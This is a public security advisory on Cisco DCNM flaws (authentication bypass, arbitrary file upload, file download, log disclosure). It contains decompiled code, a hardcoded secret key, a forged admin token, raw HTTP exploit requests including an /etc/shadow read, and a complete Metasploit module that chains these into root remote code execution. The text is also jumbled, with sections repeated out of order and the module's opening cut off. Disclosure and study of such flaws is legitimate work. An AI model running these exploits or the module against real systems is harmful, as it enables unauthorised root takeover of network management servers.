private boolean verifyToken(HttpServletRequest httpServletRequest) {
String token = httpServletRequest.getParameter("token");
if(token == null) {
return false;
} else {
try {
FMServerRif serverRif = SQLLoader.getServerManager();
IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
token = URLDecoder.decode(token, "UTF-8");
token = token.replace(' ', '+');
FMUserBase fmUserBase = isc.verifySSoToken(token);
if(fmUserBase == null) {
return false;
} else {
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
}
}
As it can be seen in the line:
FMUserBase fmUserBase = isc.verifySSoToken(token);
the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.
Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:
public FMUserBase verifySSoToken(String ssoToken) {
return SecurityManager.verifySSoToken(ssoToken);
}
Digging further into SecurityManager.verifySSoToken:
com.cisco.dcbu.sm.server.security.SecurityManager
public static FMUserBase verifySSoToken(String ssoToken) {
String userName = null;
FMUserBase fmUserBase = null;
FMUser fmUser = null;
try {
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
if(fmUserBase == null) {
fmUserBase = DCNMUserImpl.getFMUserBase(userName);
}
if(fmUserBase == null) {
fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
}
}
} catch (Exception var5) {
_Logger.info("verifySSoToken: ", var5);
}
return fmUserBase;
}
As it can be seen in the code above, the username is obtained from the token here:
userName = getSSoTokenUserName(ssoToken);
Digging yet another layer we find the following:
public static String getSSoTokenUserName(String ssoToken) {
return getSSoTokenDetails(ssoToken)[3];
}
private static String[] getSSoTokenDetails(String ssoToken) {
String[] ret = new String[4];
String separator = getTokenSeparator();
StringTokenizer st = new StringTokenizer(ssoToken, separator);
if(st.hasMoreTokens()) {
ret[0] = st.nextToken();
ret[1] = st.nextToken();
ret[2] = st.nextToken();
for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
;
}
}
return ret;
}
Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username.
Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:
public static FMUserBase verifySSoToken(String ssoToken) {
(...)
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
(...)
}
public static boolean confirmSSOToken(String ssoToken) {
String userName = null;
int sessionId = false;
long sysTime = 0L;
String digest = null;
int count = false;
boolean ret = false;
try {
String[] detail = getSSoTokenDetails(ssoToken);
userName = detail[3];
int sessionId = Integer.parseInt(detail[0]);
sysTime = (new Long(detail[1])).longValue();
if(System.currentTimeMillis() - sysTime > 600000L) {
return ret;
}
digest = detail[2];
if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
ret = true;
userNameTLC.set(userName);
}
} catch (Exception var9) {
_Logger.info("confirmSSoToken: ", var9);
}
return ret;
}
Now we can further understand the token. It seems it is composed of:
sessionId + separator + sysTime + separator + digest + separator + username
And what is the digest? Let's look into the getMessageDigest function:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
String input = userName + sessionid + sysTime + SECRETKEY;
MessageDigest md = MessageDigest.getInstance(algorithm);
md.update(input.getBytes());
return new String(Base64.encodeBase64((byte[])md.digest()));
}
It is nothing more than the MD5 of:
userName + sessionid + sysTime + SECRETKEY
... and SECRETKEY is a fixed key in the code:
private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF";
... while the separator is a ".":
private static String getTokenSeparator()
{
return System.getProperty("security.tokenSeparator", ".");
}
In summary, this is what happens:
The ReportServlet will happily authenticate any request, as long as it receives a token in the following format:
sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token:
GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user.
Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.
Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version.
In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
(...)
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
(...)
}
The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded".
This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.
I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.
On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4].
The code for this servlet is listed below:
com.cisco.dcbu.web.client.reports.FileUploadServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
this.handleUpload(request, response);
}
The code shown above is simple, and the request is passed onto handleUpload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = null;
ArrayList<String> allowedFormats = new ArrayList<String>();
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
File disk = null;
FileItem item = null;
DiskFileItemFactory factory = new DiskFileItemFactory();
String statusMessage = "";
String fname = "";
String uploadDir = "";
ListIterator iterator = null;
List items = null;
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
TransformerHandler hd = null;
try {
out = response.getWriter();
StreamResult streamResult = new StreamResult(out);
SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
items = upload.parseRequest(request);
iterator = items.listIterator();
hd = tf.newTransformerHandler();
Transformer serializer = hd.getTransformer();
serializer.setOutputProperty("encoding", "UTF-8");
serializer.setOutputProperty("doctype-system", "response.dtd");
serializer.setOutputProperty("indent", "yes");
serializer.setOutputProperty("method", "xml");
hd.setResult(streamResult);
hd.startDocument();
AttributesImpl atts = new AttributesImpl();
hd.startElement("", "", "response", atts);
while (iterator.hasNext()) {
atts.clear();
item = (FileItem)iterator.next();
if (item.isFormField()) {
if (item.getFieldName().equalsIgnoreCase("fname")) {
fname = item.getString();
}
if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
}
atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
hd.startElement("", "", "field", atts);
hd.characters(item.getString().toCharArray(), 0, item.getString().length());
hd.endElement("", "", "field");
atts.clear();
continue;
}
ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
ImageReader imageReader = null;
if (imageReaders.hasNext()) {
imageReader = imageReaders.next();
}
try {
String imageFormat = imageReader.getFormatName();
String newFileName = fname + "." + imageFormat;
if (allowedFormats.contains(imageFormat.toLowerCase())) {
FileFilter fileFilter = new FileFilter();
fileFilter.setImageTypes(allowedFormats);
File[] fileList = new File(uploadDir).listFiles(fileFilter);
for (int i = 0; i < fileList.length; ++i) {
new File(fileList[i].getAbsolutePath()).delete();
}
disk = new File(uploadDir + File.separator + fname);
item.write(disk);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
}
imageReader.dispose();
imageInputStream.close();
atts.addAttribute("", "", "id", "CDATA", newFileName);
}
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
}
hd.startElement("", "", "file", atts);
hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
hd.endElement("", "", "file");
}
hd.endElement("", "", "response");
hd.endDocument();
out.close();
}
catch (Exception e) {
out.println(e.getMessage());
}
}
handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname".
However, there is a catch... the file has to be a valid image with one of the extensions listed here:
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:
try {
String imageFormat = imageReader.getFormatName();
... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
... meaning that the file contents, upload dir and its name are sent into processUploadedFile.
Let's look into that now:
private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
try {
int offset;
int contentLength = (int)item.getSize();
InputStream raw = item.getInputStream();
BufferedInputStream in = new BufferedInputStream(raw);
byte[] data = new byte[contentLength];
int bytesRead = 0;
for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
}
in.close();
if (offset != contentLength) {
throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
}
FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
out.write(data);
out.flush();
out.close();
}
catch (Exception ex) {
throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
}
}
Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated.
In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.
If we send the following request:
POST /fm/fileUpload HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Content-Length: 429
Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947
Content-Disposition: form-data; name="fname"
owned
-----------------------------9313517619947
Content-Disposition: form-data; name="uploadDir"
/tmp/
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever"
Content-Type: application/octet-stream
<any text or binary content here>
-----------------------------9313517619947--
The server will respond with:
HTTP/1.1 200 OK
X-FRAME-OPTIONS: SAMEORIGIN
Content-Type: text/xml;charset=utf-8
Date: Mon, 03 Sep 2018 00:57:11 GMT
Connection: close
Server: server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE response SYSTEM "response.dtd">
<response>
<field id="fname">owned</field>
<field id="uploadDir">/tmp/</field>
<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
</response>
And our file has been written as root on the server:
[root@dcnm_vm ~]# ls -l /tmp/
(...)
-rw-r--r-- 1 root root 16 Sep 2 17:57 owned
(...)
Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution.
A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5].
The code below shows the servlet request processing code:
com.cisco.dcbu.web.client.util.DownloadServlet
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
String showFile = (String)request.getAttribute("showFile");
if (showFile == null) {
showFile = request.getParameter("showFile");
}
File f = new File(showFile);
if (showFile.endsWith(".cert")) {
response.setContentType("application/octet-stream");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
} else if (showFile.endsWith(".msi")) {
response.setContentType("application/x-msi");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
} else if (showFile.endsWith(".xls")) {
response.setContentType("application/vnd.ms-excel");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
}
ServletOutputStream os = response.getOutputStream();
FileInputStream is = new FileInputStream(f);
byte[] buffer = new byte[4096];
int read = 0;
try {
while ((read = is.read(buffer)) > 0) {
os.write(buffer, 0, read);
}
os.flush();
}
catch (Exception e) {
LogService.log(LogService._WARNING, e.getMessage());
}
finally {
is.close();
}
}
}
As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:
Request:
GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response:
HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
(...)
An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.
A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].
To access it, simply request:
GET /fm/log/fmlogs.zip
Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.
>> Fix:
For #1, upgrade to DCNM 11.0(1) and above [3].
For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5].
For #4, it is not clear from Cisco's advisory on which version it was fixed [6].
>> References:
[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl
>> Disclaimer:
Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly.
Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.
It is the vendor's responsibility to ensure their products' security before, during and after release to market.
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).
For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business
| VAR-201906-0569 | CVE-2019-1622 | Cisco Data Center Network Manager Access control vulnerability |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to retrieve sensitive information from an affected device. The vulnerability is due to improper access controls for certain URLs on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download log files and diagnostic information from the affected device.
An attacker can exploit this issue to obtain sensitive information that may aid in further attacks.
This issue is being tracked by Cisco Bug ID CSCvo64654.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2).
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1619' ], # auth bypass
[ 'CVE', '2019-1620' ], # file upload
[ 'CVE', '2019-1622' ], # log download
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', {} ],
[
'Cisco DCNM 11.1(1)', {}
],
[
'Cisco DCNM 11.0(1)', {}
],
[
'Cisco DCNM 10.4(2)', {}
]
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 26 2019'
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
])
end
def check
# at the moment this is the best way to detect
# check if pmreport and fileUpload servlets return a 500 error with no params
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'vars_get' =>
{
'token' => rand_text_alpha(5..20)
},
'method' => 'GET'
)
if res && res.code == 500
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'GET',
)
if res && res.code == 500
return CheckCode::Detected
end
end
CheckCode::Unknown
end
def target_select
if target != targets[0]
return target
else
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
'method' => 'GET'
)
if res && res.code == 200
if res.body.include?('version":"11.1(1)')
print_good("#{peer} - Detected DCNM 11.1(1)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[1]
elsif res.body.include?('version":"11.0(1)')
print_good("#{peer} - Detected DCNM 11.0(1)")
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
return targets[2]
elsif res.body.include?('version":"10.4(2)')
print_good("#{peer} - Detected DCNM 10.4(2)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[3]
else
print_error("#{peer} - Failed to detect target version.")
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
print_error(res.body)
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
return targets[3]
end
end
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
end
end
def auth_v11
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET',
'vars_get' =>
{
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
)
if res && res.code == 200
# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?("JSESSIONID")
return cok
end
end
end
end
end
def auth_v10
# step 1: get a JSESSIONID cookie and the server Date header
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET'
)
# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime("%s").to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
md5_str = Base64.strict_encode64(md5)
# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
},
'method' => 'GET'
)
if res && res.code == 500
return jsession
end
end
end
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
def get_war_path
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
'method' => 'GET'
)
if res && res.code == 200
tmp = Tempfile.new
# we have to drop this into a file first
# else we will get a Zip::GPFBit3Error if we use an InputStream
File.binwrite(tmp, res.body)
Zip::File.open(tmp) do |zis|
zis.each do |entry|
if entry.name =~ /jboss[0-9]*\.log/
fdata = zis.read(entry)
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
tmp.close
tmp.unlink
return $1.strip
end
end
end
end
end
end
def exploit
target = target_select
if target == targets[2]
jsession = auth_v11
elsif target == targets[3]
jsession = auth_v10
end
# targets[1] DCNM 11.1(1) doesn't need auth!
if jsession.nil? && target != targets[1]
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
elsif target != targets[1]
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
end
war_path = get_war_path
if war_path.nil? or war_path.empty?
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
else
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
end
# Generate our payload... and upload it
app_base = rand_text_alphanumeric(6..16)
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
post_data.add_part(war_payload,
"application/octet-stream", 'binary',
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
data = post_data.to_s
print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'POST',
'data' => data,
'cookie' => jsession,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body[/#{fname}/]
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
sleep 10
print_status("#{peer} - Executing payload...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_base),
'method' => 'GET'
)
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
end
end
end
.
DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.
The table below lists the affected versions for each vulnerability:
Vulnerability Vulnerable? CVE
<= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1)
Authentication bypass Yes No No No 2019-1619
File upload Yes, auth Yes, auth Yes, unauth No 2019-1620
File download Yes, auth Yes, auth Yes, unauth No 2019-1621
Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622
The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution.
In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure.
Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!
All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown.
To achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions.
DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].
The snippet of code below shows what the servlet does:
com.cisco.dcbu.web.client.performance.ReportServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
request.setAttribute("popUpSessionTO", "true");
}
this.doInteractiveChart(request, response);
}
The request is passed on to the verifyToken function, listed below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
String token = httpServletRequest.getParameter("token");
if(token == null) {
return false;
} else {
try {
FMServerRif serverRif = SQLLoader.getServerManager();
IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
token = URLDecoder.decode(token, "UTF-8");
token = token.replace(' ', '+');
FMUserBase fmUserBase = isc.verifySSoToken(token);
if(fmUserBase == null) {
return false;
} else {
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
}
}
As it can be seen in the line:
FMUserBase fmUserBase = isc.verifySSoToken(token);
the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.
Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:
public FMUserBase verifySSoToken(String ssoToken) {
return SecurityManager.verifySSoToken(ssoToken);
}
Digging further into SecurityManager.verifySSoToken:
com.cisco.dcbu.sm.server.security.SecurityManager
public static FMUserBase verifySSoToken(String ssoToken) {
String userName = null;
FMUserBase fmUserBase = null;
FMUser fmUser = null;
try {
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
if(fmUserBase == null) {
fmUserBase = DCNMUserImpl.getFMUserBase(userName);
}
if(fmUserBase == null) {
fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
}
}
} catch (Exception var5) {
_Logger.info("verifySSoToken: ", var5);
}
return fmUserBase;
}
As it can be seen in the code above, the username is obtained from the token here:
userName = getSSoTokenUserName(ssoToken);
Digging yet another layer we find the following:
public static String getSSoTokenUserName(String ssoToken) {
return getSSoTokenDetails(ssoToken)[3];
}
private static String[] getSSoTokenDetails(String ssoToken) {
String[] ret = new String[4];
String separator = getTokenSeparator();
StringTokenizer st = new StringTokenizer(ssoToken, separator);
if(st.hasMoreTokens()) {
ret[0] = st.nextToken();
ret[1] = st.nextToken();
ret[2] = st.nextToken();
for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
;
}
}
return ret;
}
Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username.
Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:
